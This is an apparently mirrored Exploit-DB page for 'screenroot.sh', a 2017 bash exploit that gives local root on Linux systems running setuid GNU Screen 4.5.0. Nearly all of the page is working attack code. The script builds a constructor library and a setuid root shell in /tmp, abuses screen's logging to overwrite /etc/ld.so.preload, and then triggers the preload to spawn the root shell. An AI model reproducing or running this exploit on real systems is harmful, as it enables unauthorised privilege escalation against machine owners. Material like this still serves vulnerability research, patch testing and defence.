GNU Screen 4.5.0 – Local Privilege Escalation - 体验盒子

作者： Xiphos Research Ltd

日期： 2017-01-25

类别：

local

平台：

linux

来源：https://www.exploit-db.com/exploits/41154/

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#!/bin/bash

# screenroot.sh

# setuid screen v4.5.0 local root exploit

# abuses ld.so.preload overwriting to get root.

# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html

# HACK THE PLANET

# ~ infodox (25/1/2017)

echo "~ gnu/screenroot ~"

echo "[+] First, we create our shell and library..."

cat << EOF > /tmp/libhax.c

#include <stdio.h>

#include <sys/types.h>

#include <unistd.h>

__attribute__ ((__constructor__))

void dropshell(void){

chown("/tmp/rootshell", 0, 0);

chmod("/tmp/rootshell", 04755);

unlink("/etc/ld.so.preload");

printf("[+] done!\n");

}

EOF

gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c

rm -f /tmp/libhax.c

cat << EOF > /tmp/rootshell.c

#include <stdio.h>

int main(void){

setuid(0);

setgid(0);

seteuid(0);

setegid(0);

execvp("/bin/sh", NULL, NULL);

}

EOF

gcc -o /tmp/rootshell /tmp/rootshell.c

rm -f /tmp/rootshell.c

echo "[+] Now we create our /etc/ld.so.preload file..."

cd /etc

umask 000 # because

screen -D -m -L ld.so.preload echo -ne"\x0a/tmp/libhax.so" # newline needed

echo "[+] Triggering..."

screen -ls # screen itself is setuid, so...

/tmp/rootshell